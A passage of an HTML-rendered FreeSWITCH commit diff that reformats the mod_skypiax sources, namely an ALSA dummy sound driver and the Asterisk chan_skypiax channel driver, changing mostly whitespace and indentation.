</span><del>-static int __devinit snd_card_dummy_pcm(struct snd_dummy *dummy, int device,
-                                        int substreams)
</del><ins>+static int __devinit snd_card_dummy_pcm(struct snd_dummy *dummy, int device, int substreams)
</ins><span class="cx"> {
</span><span class="cx">         struct snd_pcm *pcm;
</span><span class="cx">         int err;
</span><span class="cx">
</span><del>-        err = snd_pcm_new(dummy->card, "Dummy PCM", device,
-                         substreams, substreams, &pcm);
</del><ins>+        err = snd_pcm_new(dummy->card, "Dummy PCM", device, substreams, substreams, &pcm);
</ins><span class="cx">         if (err < 0)
</span><span class="cx">                 return err;
</span><span class="cx">         dummy->pcm = pcm;
</span><span class="lines">@@ -621,9 +611,7 @@
</span><span class="cx">         pcm->private_data = dummy;
</span><span class="cx">         pcm->info_flags = 0;
</span><span class="cx">         strcpy(pcm->name, "Dummy PCM");
</span><del>-        snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_CONTINUOUS,
-                                         snd_dma_continuous_data(GFP_KERNEL),
-                                         128*1024, 1024*1024);
</del><ins>+        snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_CONTINUOUS, snd_dma_continuous_data(GFP_KERNEL), 128 * 1024, 1024 * 1024);
</ins><span class="cx">
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="lines">@@ -637,8 +625,7 @@
</span><span class="cx"> .private_value = addr, \
</span><span class="cx"> .tlv = { .p = db_scale_dummy } }
</span><span class="cx">
</span><del>-static int snd_dummy_volume_info(struct snd_kcontrol *kcontrol,
-                                 struct snd_ctl_elem_info *uinfo)
</del><ins>+static int snd_dummy_volume_info(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_info *uinfo)
</ins><span class="cx"> {
</span><span class="cx">         uinfo->type = SNDRV_CTL_ELEM_TYPE_INTEGER;
</span><span class="cx">         uinfo->count = 2;
</span><span class="lines">@@ -646,15 +633,14 @@
</span><span class="cx">         uinfo->value.integer.max = 100;
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><del>-
-static int snd_dummy_volume_get(struct snd_kcontrol *kcontrol,
-                                struct snd_ctl_elem_value *ucontrol)
</del><ins>+
+static int snd_dummy_volume_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
</ins><span class="cx"> {
</span><span class="cx">         struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
</span><span class="cx">         int addr = kcontrol->private_value;
</span><span class="cx">         //unsigned long flags;
</span><span class="cx">
</span><del>-        if(in_irq())
</del><ins>+        if (in_irq())
</ins><span class="cx">                 printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
</span><span class="cx"> //printk("giova: volume get %d %d\n", __LINE__, addr);
</span><span class="cx">         //spin_lock_irq(&dummy->mixer_lock);
</span><span class="lines">@@ -667,15 +653,14 @@
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static int snd_dummy_volume_put(struct snd_kcontrol *kcontrol,
-                                struct snd_ctl_elem_value *ucontrol)
</del><ins>+static int snd_dummy_volume_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
</ins><span class="cx"> {
</span><span class="cx">         struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
</span><span class="cx">         int change, addr = kcontrol->private_value;
</span><span class="cx">         int left, right;
</span><span class="cx">         //unsigned long flags;
</span><span class="cx">
</span><del>-        if(in_irq())
</del><ins>+        if (in_irq())
</ins><span class="cx">                 printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
</span><span class="cx">         left = ucontrol->value.integer.value[0];
</span><span class="cx">         if (left < -50)
</span><span class="lines">@@ -691,8 +676,7 @@
</span><span class="cx">         //spin_lock_irq(&dummy->mixer_lock);
</span><span class="cx">         //spin_lock_irqsave(&dummy->mixer_lock, flags);
</span><span class="cx">         spin_lock_bh(&dummy->mixer_lock);
</span><del>-        change = dummy->mixer_volume[addr][0] != left ||
-         dummy->mixer_volume[addr][1] != right;
</del><ins>+        change = dummy->mixer_volume[addr][0] != left || dummy->mixer_volume[addr][1] != right;
</ins><span class="cx">         dummy->mixer_volume[addr][0] = left;
</span><span class="cx">         dummy->mixer_volume[addr][1] = right;
</span><span class="cx">         //spin_unlock_irq(&dummy->mixer_lock);
</span><span class="lines">@@ -710,15 +694,14 @@
</span><span class="cx"> .private_value = addr }
</span><span class="cx">
</span><span class="cx"> #define snd_dummy_capsrc_info        snd_ctl_boolean_stereo_info
</span><del>-
-static int snd_dummy_capsrc_get(struct snd_kcontrol *kcontrol,
-                                struct snd_ctl_elem_value *ucontrol)
</del><ins>+
+static int snd_dummy_capsrc_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
</ins><span class="cx"> {
</span><span class="cx">         struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
</span><span class="cx">         int addr = kcontrol->private_value;
</span><span class="cx">         //unsigned long flags;
</span><span class="cx">
</span><del>-        if(in_irq())
</del><ins>+        if (in_irq())
</ins><span class="cx">                 printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
</span><span class="cx">         //spin_lock_irq(&dummy->mixer_lock);
</span><span class="cx">         //spin_lock_irqsave(&dummy->mixer_lock, flags);
</span><span class="lines">@@ -739,15 +722,14 @@
</span><span class="cx">         int left, right;
</span><span class="cx">         //unsigned long flags;
</span><span class="cx">
</span><del>-        if(in_irq())
</del><ins>+        if (in_irq())
</ins><span class="cx">                 printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
</span><span class="cx">         left = ucontrol->value.integer.value[0] & 1;
</span><span class="cx">         right = ucontrol->value.integer.value[1] & 1;
</span><span class="cx">         //spin_lock_irq(&dummy->mixer_lock);
</span><span class="cx">         //spin_lock_irqsave(&dummy->mixer_lock, flags);
</span><span class="cx">         spin_lock_bh(&dummy->mixer_lock);
</span><del>-        change = dummy->capture_source[addr][0] != left &&
-         dummy->capture_source[addr][1] != right;
</del><ins>+        change = dummy->capture_source[addr][0] != left && dummy->capture_source[addr][1] != right;
</ins><span class="cx">         dummy->capture_source[addr][0] = left;
</span><span class="cx">         dummy->capture_source[addr][1] = right;
</span><span class="cx">         //spin_unlock_irq(&dummy->mixer_lock);
</span><span class="lines">@@ -758,16 +740,16 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static struct snd_kcontrol_new snd_dummy_controls[] = {
</span><del>-DUMMY_VOLUME("Master Volume", 0, MIXER_ADDR_MASTER),
-DUMMY_CAPSRC("Master Capture Switch", 0, MIXER_ADDR_MASTER),
-DUMMY_VOLUME("Synth Volume", 0, MIXER_ADDR_SYNTH),
-DUMMY_CAPSRC("Synth Capture Switch", 0, MIXER_ADDR_SYNTH),
-DUMMY_VOLUME("Line Volume", 0, MIXER_ADDR_LINE),
-DUMMY_CAPSRC("Line Capture Switch", 0, MIXER_ADDR_LINE),
-DUMMY_VOLUME("Mic Volume", 0, MIXER_ADDR_MIC),
-DUMMY_CAPSRC("Mic Capture Switch", 0, MIXER_ADDR_MIC),
-DUMMY_VOLUME("CD Volume", 0, MIXER_ADDR_CD),
-DUMMY_CAPSRC("CD Capture Switch", 0, MIXER_ADDR_CD)
</del><ins>+        DUMMY_VOLUME("Master Volume", 0, MIXER_ADDR_MASTER),
+        DUMMY_CAPSRC("Master Capture Switch", 0, MIXER_ADDR_MASTER),
+        DUMMY_VOLUME("Synth Volume", 0, MIXER_ADDR_SYNTH),
+        DUMMY_CAPSRC("Synth Capture Switch", 0, MIXER_ADDR_SYNTH),
+        DUMMY_VOLUME("Line Volume", 0, MIXER_ADDR_LINE),
+        DUMMY_CAPSRC("Line Capture Switch", 0, MIXER_ADDR_LINE),
+        DUMMY_VOLUME("Mic Volume", 0, MIXER_ADDR_MIC),
+        DUMMY_CAPSRC("Mic Capture Switch", 0, MIXER_ADDR_MIC),
+        DUMMY_VOLUME("CD Volume", 0, MIXER_ADDR_CD),
+        DUMMY_CAPSRC("CD Capture Switch", 0, MIXER_ADDR_CD)
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> static int __devinit snd_card_dummy_new_mixer(struct snd_dummy *dummy)
</span><span class="lines">@@ -777,11 +759,11 @@
</span><span class="cx">         int err;
</span><span class="cx">
</span><span class="cx">         //giova if (snd_BUG_ON(!dummy))
</span><del>-                //giova return -EINVAL;
</del><ins>+        //giova return -EINVAL;
</ins><span class="cx">         spin_lock_init(&dummy->mixer_lock);
</span><span class="cx">         strcpy(card->mixername, "Dummy Mixer");
</span><span class="cx"> //printk("giova: new_mixer %d\n", __LINE__);
</span><del>-        return 0; //giova no mixer
</del><ins>+        return 0;                                        //giova no mixer
</ins><span class="cx">
</span><span class="cx">         for (idx = 0; idx < ARRAY_SIZE(snd_dummy_controls); idx++) {
</span><span class="cx">                 err = snd_ctl_add(card, snd_ctl_new1(&snd_dummy_controls[idx], dummy));
</span><span class="lines">@@ -798,15 +780,14 @@
</span><span class="cx">         int idx, err;
</span><span class="cx">         int dev = devptr->id;
</span><span class="cx">
</span><del>- card = snd_card_new(index[dev], id[dev], THIS_MODULE,
- sizeof(struct snd_dummy));
- if (card == NULL)
- return -ENOMEM;
</del><ins>+        card = snd_card_new(index[dev], id[dev], THIS_MODULE, sizeof(struct snd_dummy));
+        if (card == NULL)
+                return -ENOMEM;
</ins><span class="cx">
</span><span class="cx">         //giova err = snd_card_create(index[dev], id[dev], THIS_MODULE,
</span><del>-                         //giova sizeof(struct snd_dummy), &card);
</del><ins>+        //giova sizeof(struct snd_dummy), &card);
</ins><span class="cx">         //giova if (err < 0)
</span><del>-                //giova return err;
</del><ins>+        //giova return err;
</ins><span class="cx">         dummy = card->private_data;
</span><span class="cx">         dummy->card = card;
</span><span class="cx">         for (idx = 0; idx < MAX_PCM_DEVICES && idx < pcm_devs[dev]; idx++) {
</span><span class="lines">@@ -832,7 +813,7 @@
</span><span class="cx">                 platform_set_drvdata(devptr, card);
</span><span class="cx">                 return 0;
</span><span class="cx">         }
</span><del>- __nodev:
</del><ins>+ __nodev:
</ins><span class="cx">         snd_card_free(card);
</span><span class="cx">         return err;
</span><span class="cx"> }
</span><span class="lines">@@ -856,7 +837,7 @@
</span><span class="cx">         snd_pcm_suspend_all(dummy->pcm);
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><del>-        
</del><ins>+
</ins><span class="cx"> static int snd_dummy_resume(struct platform_device *pdev)
</span><span class="cx"> {
</span><span class="cx">         struct snd_card *card = platform_get_drvdata(pdev);
</span><span class="lines">@@ -869,15 +850,14 @@
</span><span class="cx"> #define SND_DUMMY_DRIVER        "snd_dummy"
</span><span class="cx">
</span><span class="cx"> static struct platform_driver snd_dummy_driver = {
</span><del>-        .probe                = snd_dummy_probe,
-        .remove                = __devexit_p(snd_dummy_remove),
</del><ins>+        .probe = snd_dummy_probe,
+        .remove = __devexit_p(snd_dummy_remove),
</ins><span class="cx"> #ifdef CONFIG_PM
</span><del>-        .suspend        = snd_dummy_suspend,
-        .resume                = snd_dummy_resume,
</del><ins>+        .suspend = snd_dummy_suspend,
+        .resume = snd_dummy_resume,
</ins><span class="cx"> #endif
</span><del>-        .driver                = {
-                .name        = SND_DUMMY_DRIVER
-        },
</del><ins>+        .driver = {
+                         .name = SND_DUMMY_DRIVER},
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> static void snd_dummy_unregister_all(void)
</span><span class="lines">@@ -897,38 +877,37 @@
</span><span class="cx">         if (err < 0)
</span><span class="cx">                 return err;
</span><span class="cx">
</span><del>-if(!giovastarted){
-giovastarted=1;
-        spin_lock_init(&giovalock);
</del><ins>+        if (!giovastarted) {
+                giovastarted = 1;
+                spin_lock_init(&giovalock);
</ins><span class="cx">
</span><del>-        spin_lock_bh(&giovalock);
-for(i=0; i<MAX_PCM_SUBSTREAMS;i++){
</del><ins>+                spin_lock_bh(&giovalock);
+                for (i = 0; i < MAX_PCM_SUBSTREAMS; i++) {
</ins><span class="cx">
</span><del>-        if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
-                printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
</del><ins>+                        if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
+                                printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
+                        }
+                        giovadpcms[i].substream = NULL;
+                        giovadpcms[i].dpcm = NULL;
+                        giovadpcms[i].started = 0;
+                }
+                init_timer(&giovatimer);
+                //giovatimer.data = (unsigned long) dpcm;
+                giovatimer.data = (unsigned long) &giovadpcms;
+                giovatimer.function = snd_card_dummy_pcm_timer_function;
+                giovatimer.expires = (HZ / 100) + jiffies;
+                add_timer(&giovatimer);
+                printk("snd-dummy skypiax driver, %s:%d working on a machine with %dHZ kernel\n", __FILE__, __LINE__, HZ);
+                spin_unlock_bh(&giovalock);
</ins><span class="cx">         }
</span><del>-giovadpcms[i].substream=NULL;
-giovadpcms[i].dpcm=NULL;
-giovadpcms[i].started=0;
-}
-        init_timer(&giovatimer);
-        //giovatimer.data = (unsigned long) dpcm;
-        giovatimer.data = (unsigned long) &giovadpcms;
-        giovatimer.function = snd_card_dummy_pcm_timer_function;
-        giovatimer.expires = (HZ/100) + jiffies;
-        add_timer(&giovatimer);
-printk("snd-dummy skypiax driver, %s:%d working on a machine with %dHZ kernel\n", __FILE__, __LINE__, HZ);
-        spin_unlock_bh(&giovalock);
-}
</del><span class="cx">
</span><span class="cx">
</span><span class="cx">         cards = 0;
</span><span class="cx">         for (i = 0; i < SNDRV_CARDS; i++) {
</span><span class="cx">                 struct platform_device *device;
</span><del>-                if (! enable[i])
</del><ins>+                if (!enable[i])
</ins><span class="cx">                         continue;
</span><del>-                device = platform_device_register_simple(SND_DUMMY_DRIVER,
-                                                         i, NULL, 0);
</del><ins>+                device = platform_device_register_simple(SND_DUMMY_DRIVER, i, NULL, 0);
</ins><span class="cx">                 if (IS_ERR(device))
</span><span class="cx">                         continue;
</span><span class="cx">                 if (!platform_get_drvdata(device)) {
</span><span class="lines">@@ -955,4 +934,4 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> module_init(alsa_card_dummy_init)
</span><del>-module_exit(alsa_card_dummy_exit)
</del><ins>+        module_exit(alsa_card_dummy_exit)
</ins></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_skypiaxasteriskchan_skypiaxc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/chan_skypiax.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/chan_skypiax.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/chan_skypiax.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -12,7 +12,7 @@
</span><span class="cx">
</span><span class="cx"> /* GLOBAL VARIABLES */
</span><span class="cx"> int running = 1;
</span><del>-int skypiax_dir_entry_extension = 1; //FIXME one var for each interface!
</del><ins>+int skypiax_dir_entry_extension = 1;        //FIXME one var for each interface!
</ins><span class="cx"> char skypiax_console_active_array[50] = "";
</span><span class="cx"> char *skypiax_console_active = skypiax_console_active_array;
</span><span class="cx"> /*! \brief Count of active channels for this module */
</span><span class="lines">@@ -32,97 +32,93 @@
</span><span class="cx"> const char skypiax_config[] = "skypiax.conf";
</span><span class="cx">
</span><span class="cx"> char skypiax_console_skypiax_usage[] =
</span><del>- " \n" "chan_skypiax commands info\n" " \n"
- " chan_skypiax adds to Asterisk the following CLI commands:\n" " \n"
- " CLI COMMANDS:\n" " skypiax_hangup\n" " skypiax_dial\n"
- " skypiax_console\n" " skypiax_playback_boost\n"
- " skypiax_capture_boost\n" " skypiax_skype\n"
- " skypiax_dir_import\n" "\n"
- " You can type 'help [command]' to obtain more specific info on usage.\n"
- " \n";
</del><ins>+        " \n" "chan_skypiax commands info\n" " \n"
+        " chan_skypiax adds to Asterisk the following CLI commands:\n" " \n"
+        " CLI COMMANDS:\n" " skypiax_hangup\n" " skypiax_dial\n"
+        " skypiax_console\n" " skypiax_playback_boost\n"
+        " skypiax_capture_boost\n" " skypiax_skype\n"
+        " skypiax_dir_import\n" "\n" " You can type 'help [command]' to obtain more specific info on usage.\n" " \n";
</ins><span class="cx"> char skypiax_console_hangup_usage[] =
</span><del>- "Usage: skypiax_hangup\n"
- " Hangs up any call currently placed on the \"current\" skypiax_console (Skypiax) channel.\n"
- " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
</del><ins>+        "Usage: skypiax_hangup\n"
+        " Hangs up any call currently placed on the \"current\" skypiax_console (Skypiax) channel.\n"
+        " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
</ins><span class="cx"> char skypiax_console_playback_boost_usage[] =
</span><del>- "Usage: skypiax_playback_boost [value]\n"
- " Shows or set the value of boost applied to the outgoing sound (voice). Possible values are: 0 (no boost applied), -40 to 40 (negative to positive range, in db). Without specifying a value, it just shows the current value. The value is for the \"current\" skypiax_console (Skypiax) channel.\n"
- " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
</del><ins>+        "Usage: skypiax_playback_boost [value]\n"
+        " Shows or set the value of boost applied to the outgoing sound (voice). Possible values are: 0 (no boost applied), -40 to 40 (negative to positive range, in db). Without specifying a value, it just shows the current value. The value is for the \"current\" skypiax_console (Skypiax) channel.\n"
+        " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
</ins><span class="cx"> char skypiax_console_capture_boost_usage[] =
</span><del>- "Usage: skypiax_capture_boost [value]\n"
- " Shows or set the value of boost applied to the incoming sound (voice). Possible values are: 0 (no boost applied), -40 to 40 (negative to positive range, in db). Without specifying a value, it just shows the current value. The value is for the \"current\" skypiax_console (Skypiax) channel.\n"
- " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
</del><ins>+        "Usage: skypiax_capture_boost [value]\n"
+        " Shows or set the value of boost applied to the incoming sound (voice). Possible values are: 0 (no boost applied), -40 to 40 (negative to positive range, in db). Without specifying a value, it just shows the current value. The value is for the \"current\" skypiax_console (Skypiax) channel.\n"
+        " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
</ins><span class="cx">
</span><span class="cx"> char skypiax_console_dial_usage[] =
</span><del>- "Usage: skypiax_dial [DTMFs]\n"
- " Dials a given DTMF string in the call currently placed on the\n"
- " \"current\" skypiax_console (Skypiax) channel.\n"
- " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
</del><ins>+        "Usage: skypiax_dial [DTMFs]\n"
+        " Dials a given DTMF string in the call currently placed on the\n"
+        " \"current\" skypiax_console (Skypiax) channel.\n" " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
</ins><span class="cx">
</span><span class="cx"> char skypiax_console_skypiax_console_usage[] =
</span><del>- "Usage: skypiax_console [interface] | [show]\n"
- " If used without a parameter, displays which interface is the \"current\"\n"
- " skypiax_console. If a device is specified, the \"current\" skypiax_console is changed to\n"
- " the interface specified.\n"
- " If the parameter is \"show\", the available interfaces are listed\n";
</del><ins>+        "Usage: skypiax_console [interface] | [show]\n"
+        " If used without a parameter, displays which interface is the \"current\"\n"
+        " skypiax_console. If a device is specified, the \"current\" skypiax_console is changed to\n"
+        " the interface specified.\n" " If the parameter is \"show\", the available interfaces are listed\n";
</ins><span class="cx">
</span><span class="cx"> char skypiax_console_skype_usage[] =
</span><del>- "Usage: skypiax_skype [command string]\n"
- " Send the 'command string' skype_msg to the Skype client connected to the \"current\" skypiax_console (Skypiax) channel.\n"
- " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
</del><ins>+        "Usage: skypiax_skype [command string]\n"
+        " Send the 'command string' skype_msg to the Skype client connected to the \"current\" skypiax_console (Skypiax) channel.\n"
+        " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
</ins><span class="cx">
</span><span class="cx"> char skypiax_console_skypiax_dir_import_usage[] =
</span><del>- "Usage: skypiax_dir_import [add | replace]\n"
- " Write in the directoriax.conf config file all the entries found in 'Contacts' list of the Skype client connected to the \"current\" skypiax_console.\n"
- " You can choose between 'add' to the end of the directoriax.conf file, or 'replace' the whole file with this new content.\n"
- " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
</del><ins>+        "Usage: skypiax_dir_import [add | replace]\n"
+        " Write in the directoriax.conf config file all the entries found in 'Contacts' list of the Skype client connected to the \"current\" skypiax_console.\n"
+        " You can choose between 'add' to the end of the directoriax.conf file, or 'replace' the whole file with this new content.\n"
+        " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
</ins><span class="cx">
</span><span class="cx"> /*! \brief Definition of this channel for PBX channel registration */
</span><span class="cx"> const struct ast_channel_tech skypiax_tech = {
</span><del>- .type = skypiax_type,
- .description = skypiax_desc,
- .capabilities = AST_FORMAT_SLINEAR,
- .requester = skypiax_request,
- .hangup = skypiax_hangup,
- .answer = skypiax_answer,
- .read = skypiax_read,
- .call = skypiax_originate_call,
- .write = skypiax_write,
- .indicate = skypiax_indicate,
- .fixup = skypiax_fixup,
- .devicestate = skypiax_devicestate,
</del><ins>+        .type = skypiax_type,
+        .description = skypiax_desc,
+        .capabilities = AST_FORMAT_SLINEAR,
+        .requester = skypiax_request,
+        .hangup = skypiax_hangup,
+        .answer = skypiax_answer,
+        .read = skypiax_read,
+        .call = skypiax_originate_call,
+        .write = skypiax_write,
+        .indicate = skypiax_indicate,
+        .fixup = skypiax_fixup,
+        .devicestate = skypiax_devicestate,
</ins><span class="cx"> #ifdef ASTERISK_VERSION_1_4
</span><del>- .send_digit_begin = skypiax_digitsend_begin,
- .send_digit_end = skypiax_digitsend_end,
</del><ins>+        .send_digit_begin = skypiax_digitsend_begin,
+        .send_digit_end = skypiax_digitsend_end,
</ins><span class="cx"> #else /* ASTERISK_VERSION_1_4 */
</span><del>- .send_digit = skypiax_digitsend,
</del><ins>+        .send_digit = skypiax_digitsend,
</ins><span class="cx"> #endif /* ASTERISK_VERSION_1_4 */
</span><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> /*! \brief fake skypiax_pvt structure values,
</span><span class="cx"> * just for logging purposes */
</span><span class="cx"> struct skypiax_pvt skypiax_log_struct = {
</span><del>- .name = "none",
</del><ins>+        .name = "none",
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> /*! \brief Default skypiax_pvt structure values,
</span><span class="cx"> * used by skypiax_mkif to initialize the interfaces */
</span><span class="cx"> struct skypiax_pvt skypiax_default = {
</span><del>- .interface_state = SKYPIAX_STATE_DOWN,
- .skype_callflow = 0,
- .context = "default",
- .language = "en",
- .exten = "s",
- .next = NULL,
- .owner = NULL,
- .controldev_thread = AST_PTHREADT_NULL,
- .skypiax_sound_rate = 8000,
- .skypiax_sound_capt_fd = -1,
- .capture_boost = 0,
- .playback_boost = 0,
- .stripmsd = 0,
- .skype = 0,
- .skypiax_dir_entry_extension_prefix = 6,
</del><ins>+        .interface_state = SKYPIAX_STATE_DOWN,
+        .skype_callflow = 0,
+        .context = "default",
+        .language = "en",
+        .exten = "s",
+        .next = NULL,
+        .owner = NULL,
+        .controldev_thread = AST_PTHREADT_NULL,
+        .skypiax_sound_rate = 8000,
+        .skypiax_sound_capt_fd = -1,
+        .capture_boost = 0,
+        .playback_boost = 0,
+        .stripmsd = 0,
+        .skype = 0,
+        .skypiax_dir_entry_extension_prefix = 6,
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> /*!
</span><span class="lines">@@ -136,38 +132,38 @@
</span><span class="cx"> * CLI do not works since some time on 1.6, they changed the CLI mechanism
</span><span class="cx"> */
</span><span class="cx"> #if 0
</span><del>- AST_CLI_DEFINE(skypiax_console_hangup, "Hangup a call on the console"),
- AST_CLI_DEFINE(skypiax_console_dial, "Dial an extension on the console"),
- AST_CLI_DEFINE(skypiax_console_playback_boost, "Sets/displays spk boost in dB"),
- AST_CLI_DEFINE(skypiax_console_capture_boost, "Sets/displays mic boost in dB"),
- AST_CLI_DEFINE(skypiax_console_set_active, "Sets/displays active console"),
- AST_CLI_DEFINE(skypiax_console_skype, "Sends a Skype command"),
- AST_CLI_DEFINE(skypiax_console_skypiax_dir_import, "imports entries from cellphone"),
- AST_CLI_DEFINE(skypiax_console_skypiax, "all things skypiax"),
</del><ins>+        AST_CLI_DEFINE(skypiax_console_hangup, "Hangup a call on the console"),
+        AST_CLI_DEFINE(skypiax_console_dial, "Dial an extension on the console"),
+        AST_CLI_DEFINE(skypiax_console_playback_boost, "Sets/displays spk boost in dB"),
+        AST_CLI_DEFINE(skypiax_console_capture_boost, "Sets/displays mic boost in dB"),
+        AST_CLI_DEFINE(skypiax_console_set_active, "Sets/displays active console"),
+        AST_CLI_DEFINE(skypiax_console_skype, "Sends a Skype command"),
+        AST_CLI_DEFINE(skypiax_console_skypiax_dir_import, "imports entries from cellphone"),
+        AST_CLI_DEFINE(skypiax_console_skypiax, "all things skypiax"),
</ins><span class="cx"> #endif
</span><span class="cx"> };
</span><span class="cx"> #else
</span><span class="cx"> struct ast_cli_entry myclis[] = {
</span><del>- {{"skypiax_hangup", NULL}, skypiax_console_hangup,
- "Hangup a call on the skypiax_console",
- skypiax_console_hangup_usage},
- {{"skypiax_playback_boost", NULL}, skypiax_console_playback_boost, "playback boost",
- skypiax_console_playback_boost_usage},
- {{"skypiax_capture_boost", NULL}, skypiax_console_capture_boost, "capture boost",
- skypiax_console_capture_boost_usage},
- {{"skypiax_usage", NULL}, skypiax_console_skypiax, "chan_skypiax commands info",
- skypiax_console_skypiax_usage},
- {{"skypiax_skype", NULL}, skypiax_console_skype, "Skype msg",
- skypiax_console_skype_usage},
- {{"skypiax_dial", NULL}, skypiax_console_dial,
- "Dial an extension on the skypiax_console",
- skypiax_console_dial_usage},
- {{"skypiax_console", NULL}, skypiax_console_set_active,
- "Sets/displays active skypiax_console",
- skypiax_console_skypiax_console_usage},
- {{"skypiax_dir_import", NULL}, skypiax_console_skypiax_dir_import,
- "Write the directoriax.conf file, used by directoriax app",
- skypiax_console_skypiax_dir_import_usage},
</del><ins>+        {{"skypiax_hangup", NULL}, skypiax_console_hangup,
+         "Hangup a call on the skypiax_console",
+         skypiax_console_hangup_usage},
+        {{"skypiax_playback_boost", NULL}, skypiax_console_playback_boost, "playback boost",
+         skypiax_console_playback_boost_usage},
+        {{"skypiax_capture_boost", NULL}, skypiax_console_capture_boost, "capture boost",
+         skypiax_console_capture_boost_usage},
+        {{"skypiax_usage", NULL}, skypiax_console_skypiax, "chan_skypiax commands info",
+         skypiax_console_skypiax_usage},
+        {{"skypiax_skype", NULL}, skypiax_console_skype, "Skype msg",
+         skypiax_console_skype_usage},
+        {{"skypiax_dial", NULL}, skypiax_console_dial,
+         "Dial an extension on the skypiax_console",
+         skypiax_console_dial_usage},
+        {{"skypiax_console", NULL}, skypiax_console_set_active,
+         "Sets/displays active skypiax_console",
+         skypiax_console_skypiax_console_usage},
+        {{"skypiax_dir_import", NULL}, skypiax_console_skypiax_dir_import,
+         "Write the directoriax.conf file, used by directoriax app",
+         skypiax_console_skypiax_dir_import_usage},
</ins><span class="cx"> };
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="lines">@@ -175,88 +171,83 @@
</span><span class="cx">
</span><span class="cx"> void skypiax_unlocka_log(void *x)
</span><span class="cx"> {
</span><del>- ast_mutex_t *y;
- y = x;
- int i;
</del><ins>+        ast_mutex_t *y;
+        y = x;
+        int i;
</ins><span class="cx">
</span><del>- for (i = 0; i < 5; i++) { //let's be generous
</del><ins>+        for (i = 0; i < 5; i++) {        //let's be generous
</ins><span class="cx">
</span><del>- ast_log(LOG_DEBUG,
- SKYPIAX_SVN_VERSION
- "[%-7lx] I'm a dying thread, and I'm to go unlocking mutex %p for the %dth time\n",
- (unsigned long int) pthread_self(), y, i);
</del><ins>+                ast_log(LOG_DEBUG,
+                                SKYPIAX_SVN_VERSION
+                                "[%-7lx] I'm a dying thread, and I'm to go unlocking mutex %p for the %dth time\n", (unsigned long int) pthread_self(), y, i);
</ins><span class="cx">
</span><del>- ast_mutex_unlock(y);
- }
- ast_log(LOG_DEBUG,
- SKYPIAX_SVN_VERSION
- "[%-7lx] I'm a dying thread, I've finished unlocking mutex %p\n",
- (unsigned long int) pthread_self(), y);
</del><ins>+                ast_mutex_unlock(y);
+        }
+        ast_log(LOG_DEBUG, SKYPIAX_SVN_VERSION "[%-7lx] I'm a dying thread, I've finished unlocking mutex %p\n", (unsigned long int) pthread_self(), y);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int skypiax_queue_control(struct ast_channel *c, int control)
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = c->tech_pvt;
</del><ins>+        struct skypiax_pvt *p = c->tech_pvt;
</ins><span class="cx">
</span><span class="cx"> /* queue the frame */
</span><del>- if (p)
- p->control_to_send = control;
- else {
- return 0;
- }
- DEBUGA_PBX("Queued CONTROL FRAME %d\n", SKYPIAX_P_LOG, control);
</del><ins>+        if (p)
+                p->control_to_send = control;
+        else {
+                return 0;
+        }
+        DEBUGA_PBX("Queued CONTROL FRAME %d\n", SKYPIAX_P_LOG, control);
</ins><span class="cx">
</span><span class="cx"> /* wait for the frame to be sent */
</span><del>- while (p->control_to_send)
- usleep(1);
</del><ins>+        while (p->control_to_send)
+                usleep(1);
</ins><span class="cx">
</span><del>- return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int skypiax_devicestate(void *data)
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = NULL;
